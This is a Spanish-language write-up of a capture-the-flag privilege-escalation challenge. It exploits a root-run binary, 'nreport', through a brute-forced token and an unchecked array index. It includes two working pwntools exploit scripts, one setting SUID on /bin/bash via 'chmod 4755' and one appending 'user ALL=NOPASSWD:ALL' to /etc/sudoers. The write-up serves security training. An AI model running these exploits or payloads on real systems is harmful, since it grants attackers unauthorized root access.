user@overgraph:/usr/local/bin/Nreport$ ll libc/
total 31716
drwxr-xr-x 2 root root 4096 Feb 14 18:31 ./
drwxr-xr-x 3 root root 4096 Apr 12 17:38 ../
-rwxr-xr-x 1 root root 1250280 Feb 13 14:17 ld-2.25.so*
-rwxr-xr-x 1 root root 1250280 Feb 13 14:17 ld.so.2*
-rwxr-xr-x 1 root root 14979184 Feb 14 18:29 libc-2.25.so*
-rwxr-xr-x 1 root root 14978536 Feb 13 14:17 libc.so.6*
user@overgraph:/usr/local/bin/Nreport$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.17.44 - - [01/Aug/2022 15:36:57] "GET /libc/libc.so.6 HTTP/1.1" 200 -
10.10.17.44 - - [01/Aug/2022 15:37:18] "GET /libc/libc-2.25.so HTTP/1.1" 200 -
10.10.17.44 - - [01/Aug/2022 15:37:43] "GET /libc/ld-2.25.so HTTP/1.1" 200 -
10.10.17.44 - - [01/Aug/2022 15:37:48] "GET /libc/ld.so.2 HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.
$ mkdir libc
$ cd libc
$ wget -q 10.10.11.157:8000/libc/{libc.so.6,libc-2.25.so,ld.so.2,ld-2.25.so}
Usando pwninit
, podemos parchear el binario de manera que use la librería compartida y el loader que le indiquemos:
$ pwninit --libc libc/libc.so.6 --ld libc/ld.so.2 --bin nreport --no-template
bin: nreport
libc: libc/libc.so.6
ld: libc/ld.so.2
warning: failed detecting libc version (is the libc an Ubuntu glibc?): failed finding version string
copying nreport to nreport_patched
running patchelf on nreport_patched
Analizando el binario nreport
Esta es la función main
:
void main() {
int iVar1;
long in_FS_OFFSET;
char option[3];
undefined8 canary;
canary = *(undefined8 *) (in_FS_OFFSET + 0x28);
puts("Custom Reporting v1\n");
auth();
printf("\nWelcome %s", userinfo1);
do {
puts("\n1.Create New Message\n2.Delete a Message\n3.Edit Messages\n4.Report All Messages\n5.Exit");
printf("> ");
__isoc99_scanf(" %1[^\n]", option);
iVar1 = atoi(option);
switch (iVar1) {
case 1:
create();
break;
case 2:
delete();
break;
case 3:
edit();
break;
case 4:
report();
break;
case 5:
system(userinfo1 + 0x28);
/* WARNING: Subroutine does not return */
exit(0);
}
} while (true);
}
Lo primer que hace es llamar a auth
y solicitar un token:
user@overgraph:/usr/local/bin/Nreport$ ./nreport
Custom Reporting v1
Enter Your Token: 1234
Invalid Token
Esta es la función auth
:
void auth() {
size_t sVar1;
long in_FS_OFFSET;
int i;
undefined8 local_48;
undefined8 local_40;
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
undefined8 local_20;
undefined8 local_18;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
local_48 = 0;
local_40 = 0;
local_38 = 0;
local_30 = 0;
local_28 = 0;
local_20 = 0;
local_18 = 0;
printf("Enter Your Token: ");
fgets(userinfo1 + 0x78, 19, stdin);
sVar1 = strlen(userinfo1 + 0x78);
if (sVar1 != 15) {
puts("Invalid Token");
/* WARNING: Subroutine does not return */
exit(0);
}
for (i = 13; -1 < i; i = i + -1) {
*(uint *) ((long) &local_48 + (long) i * 4) =
*(uint *) (secret + (long) i * 4) ^ (int) userinfo1[121] ^ (int) userinfo1[122] ^
(int) userinfo1[120] ^ (int) userinfo1[129] ^ (int) userinfo1[133];
}
if ((int) local_40 + (int) local_48 + local_48._4_4_ != 0x134) {
puts("Invalid Token");
/* WARNING: Subroutine does not return */
exit(0);
}
if (local_28._4_4_ + local_30._4_4_ + (int) local_28 != 0x145) {
puts("Invalid Token");
/* WARNING: Subroutine does not return */
exit(0);
}
if (local_18._4_4_ + local_20._4_4_ + (int) local_18 != 0x109) {
puts("Invalid Token");
/* WARNING: Subroutine does not return */
exit(0);
}
printf("Enter Name: ");
__isoc99_scanf(" %39[^\n]", userinfo1);
userinfo1._140_8_ = 0x7672632f74706f2f;
userinfo1._148_2_ = 0x2f31;
userinfo1[150] = 0;
strcat(userinfo1 + 0x8c, userinfo1);
userinfo1._40_8_ = 0x614c22206f686365;
userinfo1._48_8_ = 0x2064657355207473;
userinfo1._56_8_ = 0x7461642824206e4f;
userinfo1._64_8_ = 0x2f203e3e20222965;
userinfo1._72_8_ = 0x2f676f6c2f726176;
userinfo1._80_8_ = 0x74726f7065726b;
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
userinfo1._40_8_ = 0x614c22206f686365;
userinfo1._48_8_ = 0x2064657355207473;
userinfo1._56_8_ = 0x7461642824206e4f;
userinfo1._64_8_ = 0x2f203e3e20222965;
userinfo1._72_8_ = 0x2f676f6c2f726176;
userinfo1._80_8_ = 0x74726f7065726b;
return;
}
Lo primero que necesitamos es construir un token que pase todas las comprobaciones:
printf("Enter Your Token: ");
fgets(userinfo1 + 120, 19, stdin);
sVar1 = strlen(userinfo1 + 120);
if (sVar1 != 15) {
puts("Invalid Token");
/* WARNING: Subroutine does not return */
exit(0);
}
for (i = 13; -1 < i; i = i + -1) {
*(uint *) ((long) &local_48 + (long) i * 4) =
*(uint *) (secret + (long) i * 4) ^ (int) userinfo1[121] ^ (int) userinfo1[122] ^
(int) userinfo1[120] ^ (int) userinfo1[129] ^ (int) userinfo1[133];
}
if ((int) local_40 + (int) local_48 + local_48._4_4_ != 0x134) {
puts("Invalid Token");
/* WARNING: Subroutine does not return */
exit(0);
}
if (local_28._4_4_ + local_30._4_4_ + (int) local_28 != 0x145) {
puts("Invalid Token");
/* WARNING: Subroutine does not return */
exit(0);
}
if (local_18._4_4_ + local_20._4_4_ + (int) local_18 != 0x109) {
puts("Invalid Token");
/* WARNING: Subroutine does not return */
exit(0);
}
La primera comprobación es que la longitud del token sea 15 bytes, lo cual es fácil. Bueno, realmente 14, porque el último byte será el carácter de salto de línea (\n
).
Luego, el programa realiza operaciones XOR con una variable secret
y algunos de los bytes introducidos. De hecho, estos bytes son userinfo1[120]
, userinfo1[121]
, userinfo1[122]
, userinfo1[129]
y userinfo1[133]
. El resto de los bytes no afectan. Por esta razón, podemos emplear un ataque de fuerza bruta sobre estos 5 bytes hasta que encontremos un token válido (hay varios). Para ello, escribí un script sencillo en Python usando pwntools
: bf_token.py
(explicación detallada aquí):
$ python3 bf_token.py
[*] './nreport_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fd000)
RUNPATH: b'./libc'
[+] Valid token: hD]AAAAAAVAAAT
$ ./nreport_patched
Custom Reporting v1
Enter Your Token: hD]AAAAAAVAAAT
Enter Name: asdf
Welcome asdf
1.Create New Message
2.Delete a Message
3.Edit Messages
4.Report All Messages
5.Exit
>
Estrategia de explotación
Ahora llegamos al menú que vimos en el main
. Parece un reto típico de explotación del heap.
De hecho, si analizamos las funciones create
, delete
y edit
, todas usan calloc
y free
, por lo que estamos trabajando en el espacio de direcciones del heap:
void create() {
void *pvVar1;
printf("\nYou can only create 10 messages at a time\nMessages Created: %i\n\n", (ulong) Arryindex);
pvVar1 = calloc(1, 0xa1);
printf("Message Title: ");
__isoc99_scanf(" %59[^\n]", pvVar1);
printf("Message: ");
__isoc99_scanf(" %100[^\n]", (long) pvVar1 + 0x3c);
*(void **) (message_array + (long) (int) Arryindex * 8) = pvVar1;
Arryindex = Arryindex + 1;
return;
}
void delete() {
long in_FS_OFFSET;
int index;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
printf("Message number to delete: ");
__isoc99_scanf("%d[^\n]", &index);
free(*(void **) (message_array + (long) index * 8));
Arryindex = Arryindex - 1;
puts("\nMessage Deleted");
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
void edit() {
long in_FS_OFFSET;
int index;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
if (Arryindex == 0) {
puts("No Message Created");
} else {
printf("Enter number to edit: ");
__isoc99_scanf("%d[^\n]", &index);
printf("Message Title: ");
__isoc99_scanf(" %59[^\n]", *(undefined8 *) (message_array + (long) index * 8));
printf("Message: ");
__isoc99_scanf("%100[^\n]", *(long *) (message_array + (long) index * 8) + 0x3c);
fflush(stdin);
fflush(stdout);
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
Sin embargo, no se puede hacer mucho con un exploit de heap en este caso. Aunque sí se puede realizar un ataque de Unsorted Bin, no podemos escalarlo a algo más crítico o sería muy difícil de realizar. Este ataque es posible porque podemos editar chunks liberados y modificar el puntero bk
, de manera que al asignar un nuevo chunk, una dirección de main_arena
se escribe en la dirección que aparece en bk
(más información en Nightmare). Puedes olvidar esto último si no lo entendiste, no hará falta.
Un exploit que funcione para este binario no tiene que ver con el heap. De hecho, vamos a mirar la función edit
más detenidamente:
printf("Enter number to edit: ");
__isoc99_scanf("%d[^\n]", &index);
printf("Message Title: ");
__isoc99_scanf(" %59[^\n]", *(undefined8 *) (message_array + (long) index * 8));
¿Puedes ver el bug? Sí, el programa pregunta por un índice y luego lo utiliza como offset para calcular la dirección donde escribir (message_array + index * 8
). Como no hay validación sobre este índice, podemos controlar dónde escribimos (esto es lo que se conoce como primitiva write-what-where). Vamos a mirar las variables que aparecen en auth
después de poner el token válido:
$ gdb -q ./nreport_patched
Reading symbols from ./nreport_patched...
(No debugging symbols found in ./nreport_patched)
gef➤ run
Starting program: ./nreport_patched
Custom Reporting v1
Enter Your Token: hD]AAAAAAVAAAT
Enter Name: asdf
Welcome asdf
1.Create New Message
2.Delete a Message
3.Edit Messages
4.Report All Messages
5.Exit
> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7b18ad0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84 ../sysdeps/unix/syscall-template.S: No such file or directory.
Por ejemplo, tenemos una variable global llamada userinfo1
, que está referenciada como userinfo1
, userinfo1 + 40
, userinfo1 + 0x78
y userinfo1 + 140
:
gef➤ x/s (char *) &userinfo1
0x404180 <userinfo1>: "asdf"
gef➤ x/s (char *)&userinfo1+40
0x4041a8 <userinfo1+40>: "echo \"Last Used On $(date)\" >> /var/log/kreport"
gef➤ x/s (char *) &userinfo1 + 0x78
0x4041f8 <userinfo1+120>: "hD]AAAAAAVAAAT\n"
gef➤ x/s (char *) &userinfo1 + 140
0x40420c <userinfo1+140>: "/opt/crv1/asdf"
Aquí tenemos algunas cosas interesantes:
- La cadena
"asdf"
(nuestro nombre) es algo que podemos controlar - La cadena
"echo \"Last Used On $(date)\" >> /var/log/kreport"
se utiliza como comando de sistema y se ejecuta antes de salir con la opción5
- La cadena
"/opt/crv1/asdf"
será el archivo utilizado por la funciónreport
para guardar nuestros mensajes
Además, estas son las direcciones de message_array
:
gef➤ x/40gx &message_array
0x404120 <message_array>: 0x0000000000000000 0x0000000000000000
0x404130 <message_array+16>: 0x0000000000000000 0x0000000000000000
0x404140 <message_array+32>: 0x0000000000000000 0x0000000000000000
0x404150 <message_array+48>: 0x0000000000000000 0x0000000000000000
0x404160 <message_array+64>: 0x0000000000000000 0x0000000000000000
0x404170: 0x0000000000000000 0x0000000000000000
0x404180 <userinfo1>: 0x0000000066647361 0x0000000000000000
0x404190 <userinfo1+16>: 0x0000000000000000 0x0000000000000000
0x4041a0 <userinfo1+32>: 0x0000000000000000 0x614c22206f686365
0x4041b0 <userinfo1+48>: 0x2064657355207473 0x7461642824206e4f
0x4041c0 <userinfo1+64>: 0x2f203e3e20222965 0x2f676f6c2f726176
0x4041d0 <userinfo1+80>: 0x0074726f7065726b 0x0000000000000000
0x4041e0 <userinfo1+96>: 0x0000000000000000 0x0000000000000000
0x4041f0 <userinfo1+112>: 0x0000000000000000 0x41414141415d4468
0x404200 <userinfo1+128>: 0x000a544141415641 0x74706f2f00000000
0x404210 <userinfo1+144>: 0x73612f317672632f 0x0000000000006664
0x404220 <userinfo1+160>: 0x0000000000000000 0x0000000000000000
0x404230: 0x0000000000000000 0x0000000000000000
0x404240: 0x0000000000000000 0x0000000000000000
0x404250: 0x0000000000000000 0x0000000000000000
De momento, vamos a crear un mensaje:
gef➤ continue
Continuing.
1
You can only create 10 messages at a time
Messages Created: 0
Message Title: AAAA
Message: BBBB
1.Create New Message
2.Delete a Message
3.Edit Messages
4.Report All Messages
5.Exit
> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7b18ad0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84 in ../sysdeps/unix/syscall-template.S
Ahora, si imprimimos el contenido de message_array
, vemos una dirección (0x405830
):
gef➤ x/40gx &message_array
0x404120 <message_array>: 0x0000000000405830 0x0000000000000000
0x404130 <message_array+16>: 0x0000000000000000 0x0000000000000000
0x404140 <message_array+32>: 0x0000000000000000 0x0000000000000000
0x404150 <message_array+48>: 0x0000000000000000 0x0000000000000000
0x404160 <message_array+64>: 0x0000000000000000 0x0000000000000000
0x404170: 0x0000000000000000 0x0000000000000000
0x404180 <userinfo1>: 0x0000000066647361 0x0000000000000000
0x404190 <userinfo1+16>: 0x0000000000000000 0x0000000000000000
0x4041a0 <userinfo1+32>: 0x0000000000000000 0x614c22206f686365
0x4041b0 <userinfo1+48>: 0x2064657355207473 0x7461642824206e4f
0x4041c0 <userinfo1+64>: 0x2f203e3e20222965 0x2f676f6c2f726176
0x4041d0 <userinfo1+80>: 0x0074726f7065726b 0x0000000000000000
0x4041e0 <userinfo1+96>: 0x0000000000000000 0x0000000000000000
0x4041f0 <userinfo1+112>: 0x0000000000000000 0x41414141415d4468
0x404200 <userinfo1+128>: 0x000a544141415641 0x74706f2f00000000
0x404210 <userinfo1+144>: 0x73612f317672632f 0x0000000000006664
0x404220 <userinfo1+160>: 0x0000000000000000 0x0000000000000000
0x404230: 0x0000000000000000 0x0000000000000000
0x404240: 0x0000000000000000 0x0000000000000000
0x404250: 0x0000000000000000 0x0000000000000000
Y esta dirección contiene nuestro mensaje (como chunk en el heap):
gef➤ x/30gx 0x0000000000405830 - 0x10
0x405820: 0x0000000000000000 0x00000000000000b1
0x405830: 0x0000000041414141 0x0000000000000000
0x405840: 0x0000000000000000 0x0000000000000000
0x405850: 0x0000000000000000 0x0000000000000000
0x405860: 0x0000000000000000 0x4242424200000000
0x405870: 0x0000000000000000 0x0000000000000000
0x405880: 0x0000000000000000 0x0000000000000000
0x405890: 0x0000000000000000 0x0000000000000000
0x4058a0: 0x0000000000000000 0x0000000000000000
0x4058b0: 0x0000000000000000 0x0000000000000000
0x4058c0: 0x0000000000000000 0x0000000000000000
0x4058d0: 0x0000000000000000 0x0000000000020731
0x4058e0: 0x0000000000000000 0x0000000000000000
0x4058f0: 0x0000000000000000 0x0000000000000000
0x405900: 0x0000000000000000 0x0000000000000000
Al utilizar la función edit
, el programa espera que pongamos un índice. Y la dirección en la que escribe se calcula como message_array + index * 8
. Como el binario no cuenta con la protección PIE, message_array
tendrá una dirección fija (0x404120
). Por tanto, la dirección objetivo será 0x404120 + index * 8
.
Como podemos controlar lo que ponemos de nombre de usuario (guardado en userinfo1
, 0x404180
), podemos introducir aquí una dirección en la que queremos escribir. Y para decirle al programa que use nuestro nombre de usuario como dirección, tenemos que usar 12
como índice (12 = (0x404180 - 0x404120) / 8
). Vamos a probarlo ahora mismo:
gef➤ continue
Continuing.
3
Enter number to edit: 12
Message Title: XXXX
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7a95f5f in _IO_vfscanf_internal (s=<optimized out>, format=<optimized out>, argptr=argptr@entry=0x7fffffffe578, errp=errp@entry=0x0) at vfscanf.c:2
892
2892 vfscanf.c: No such file or directory.
Obtenemos una violación de segmento (segmentation fault), porque el programa está tratando de escribir XXXX
en la dirección 0x66647361
(asdf
en formato hexadecimal, little-endian):
gef➤ x/i $rip
=> 0x7ffff7a95f5f <_IO_vfscanf_internal+12911>: mov BYTE PTR [r14],r8b
gef➤ p $r14
$1 = 0x66647361
gef➤ p $r8
$2 = 0x58
Primitiva de escritura arbitraria
Entonces podemos modificar datos arbitrarios en la memoria. Aquí tenemos muchas posibilidades. Una es modificar el comando que está guardado en userinfo1 + 40
:
echo "Last Used On $(date)" >> /var/log/kreport
Lo podemos cambiar a chmod 4755 /bin/bash
, por ejemplo. Como el proceso está corriendo como root
, el comando será ejecutado por root
. Para hacer esto, el nombre de usuario tiene que ser la dirección de userinfo1 + 40
(0x404180 + 40 = 0x4041a8
). Luego, podemos usar un script sencillo con pwntools
para realizar el exploit (exploit_rce.py
):
#!/usr/bin/env python3
from pwn import context, log, p64, remote, sys
context.binary = 'nreport_patched'
def main():
token = b'hD]AAAAAAVAAAT'
if len(sys.argv) != 3:
log.error(f'Usage: python3 {sys.argv[0]} <ip> <port>')
host, port = sys.argv[1], sys.argv[2]
p = remote(host, int(port))
p.sendlineafter(b'Enter Your Token: ', token)
p.sendlineafter(b'Enter Name: ', p64(context.binary.sym.userinfo1 + 40))
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Message Title: ', b'AAAA')
p.sendlineafter(b'Message: ', b'BBBB')
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'Enter number to edit: ', b'12')
p.sendlineafter(b'Message Title: ', b'chmod 4755 /bin/bash\0')
p.sendlineafter(b'> ', b'5')
p.close()
if __name__ == '__main__':
main()
Nótese que el binario está corriendo en local con socat
en 127.0.0.1:9851
, por lo que necesitamos hacer un reenvío de puertos a nuestra máquina de atacante. Esto se puede hacer con SSH (ENTER + ~C
para acceder a la interfaz ssh>
):
user@overgraph:/usr/local/bin/Nreport$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1183448 Apr 18 09:14 /bin/bash
user@overgraph:/usr/local/bin/Nreport$
ssh> -L 9851:127.0.0.1:9851
Forwarding port.
user@overgraph:/usr/local/bin/Nreport$
Y ahora lanzamos el exploit:
$ python3 exploit_rce.py 127.0.0.1 9851
[*] './nreport_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fd000)
RUNPATH: b'./libc'
[+] Opening connection to 127.0.0.1 on port 9851: Done
[*] Closed connection to 127.0.0.1 port 9851
Y vemos que /bin/bash
es ahora SUID, por lo que podemos ejecutar Bash como root
:
user@overgraph:/usr/local/bin/Nreport$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 09:14 /bin/bash
user@overgraph:/usr/local/bin/Nreport$ bash -p
bash-5.0# cat /root/root.txt
413a25bd4e358c7863dd13455c053247
Solo por diversión, otra opción es modificar la ruta /opt/crv1/ + <username>
para que sea /etc/passwd
, /etc/sudoers
o /root/.ssh/authorized_keys
y añadir los datos necesarios para escalar privilegios usando la función report
:
void report() {
long in_FS_OFFSET;
int option;
int index;
int i;
FILE *fp;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
fp = fopen(userinfo1 + 0x8c, "a");
puts("1.Report Specific Message");
puts("2.Report All Messages");
printf("> ");
__isoc99_scanf("%d", &option);
if (option == 1) {
printf("Index: ");
__isoc99_scanf("%d", &index);
if (Arryindex < index) {
printf("Invalid Index");
}
fprintf(fp,"%s ", *(long *) (message_array + (long) index * 8) + 0x3c);
fprintf(fp,"%s\n", *(undefined8 *) (message_array + (long) index * 8));
printf("File stored At: %s\n", 0x40420c);
} else if (option == 2) {
for (i = 0; i < Arryindex; i = i + 1) {
fprintf(fp,"%s ", *(long *) (message_array + (long) i * 8) + 0x3c);
fprintf(fp,"%s\n", *(undefined8 *) (message_array + (long) i * 8));
}
printf("File stored At: %s\n", 0x40420c);
} else {
puts("Invalid Option");
}
fclose(fp);
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
Básicamente, esta función escribe nuestros mensajes en un archivo /opt/crv1/ + <username>
(como root
).
Antes de descubrir la vulnerabilidad de edit
, pensé que se podrían introducir varios ../
en el usuario y hacer que el programa escribiera en /opt/crv1/../../etc/sudoers
(o cualquier otro archivo). Pero no funciona porque /opt/crv1
no existe:
user@overgraph:/usr/local/bin/Nreport$ ls -la /opt
total 16
drwxr-xr-x 3 root root 4096 Apr 12 17:38 .
drwxr-xr-x 18 root root 4096 Apr 12 17:38 ..
-rw-r--r-- 1 root root 168 Apr 8 18:39 conv.sh
drwxr-xr-x 3 root root 4096 Apr 12 17:38 google
Usando la primitiva write-what-where, podemos modificar la ruta para que sea /etc/sudoers
y luego añadir user ALL=NOPASSWD:ALL
(nótese que el archivo se abre en modo "a"
, que significa añadir, append).
La dirección de la ruta es userinfo1 + 140
(0x404180 + 140 = 0x40420c
). Aquí hay un problema, porque \x0c
se considera carácter de salto de línea por fgets
(de hecho, \x0a
, \x0b
, \x0c
y \x0d
), por lo que no funcionará. Para evitar esto, podemos escribir en 0x40420e
usando pt/../etc/sudoers
, de manera que la ruta quede como /opt/../etc/sudoers
.
La manera en la que los datos se escriben es <message> <message-title>
, por lo que podemos aprovecharnos del espacio en blanco y separar user
y ALL=NOPASSWD:ALL
en nuestro payload.
Este será el código del exploit para escribir en /etc/sudoers
(exploit_write.py
):
#!/usr/bin/env python3
from pwn import context, log, p64, remote, sys
context.binary = 'nreport_patched'
def main():
token = b'hD]AAAAAAVAAAT'
if len(sys.argv) != 3:
log.error(f'Usage: python3 {sys.argv[0]} <ip> <port>')
host, port = sys.argv[1], sys.argv[2]
p = remote(host, int(port))
p.sendlineafter(b'Enter Your Token: ', token)
p.sendlineafter(b'Enter Name: ', p64(context.binary.sym.userinfo1 + 140 + 2))
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Message Title: ', b'ALL=NOPASSWD:ALL')
p.sendlineafter(b'Message: ', b'user')
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'Enter number to edit: ', b'12')
p.sendlineafter(b'Message Title: ', b'pt/../etc/sudoers')
p.sendlineafter(b'> ', b'4')
p.sendlineafter(b'> ', b'2')
p.close()
if __name__ == '__main__':
main()
user@overgraph:/usr/local/bin/Nreport$ ls -l --time-style=+ /etc/sudoers
-r--r----- 1 root root 755 /etc/sudoers
user@overgraph:/usr/local/bin/Nreport$ sudo -l
[sudo] password for user:
$ python3 exploit_write.py 127.0.0.1 9851
[*] './nreport_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fd000)
RUNPATH: b'./libc'
[+] Opening connection to 127.0.0.1 on port 9851: Done
[*] Closed connection to 127.0.0.1 port 9851
Y con esto, tenemos permisos de sudo
sin proporcionar contraseña:
user@overgraph:/usr/local/bin/Nreport$ ls -l --time-style=+ /etc/sudoers
-r--r----- 1 root root 777 /etc/sudoers
user@overgraph:/usr/local/bin/Nreport$ sudo -l
Matching Defaults entries for user on overgraph:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User user may run the following commands on overgraph:
(root) NOPASSWD: ALL
user@overgraph:/usr/local/bin/Nreport$ sudo su
root@overgraph:/usr/local/bin/Nreport# cat /root/root.txt
413a25bd4e358c7863dd13455c053247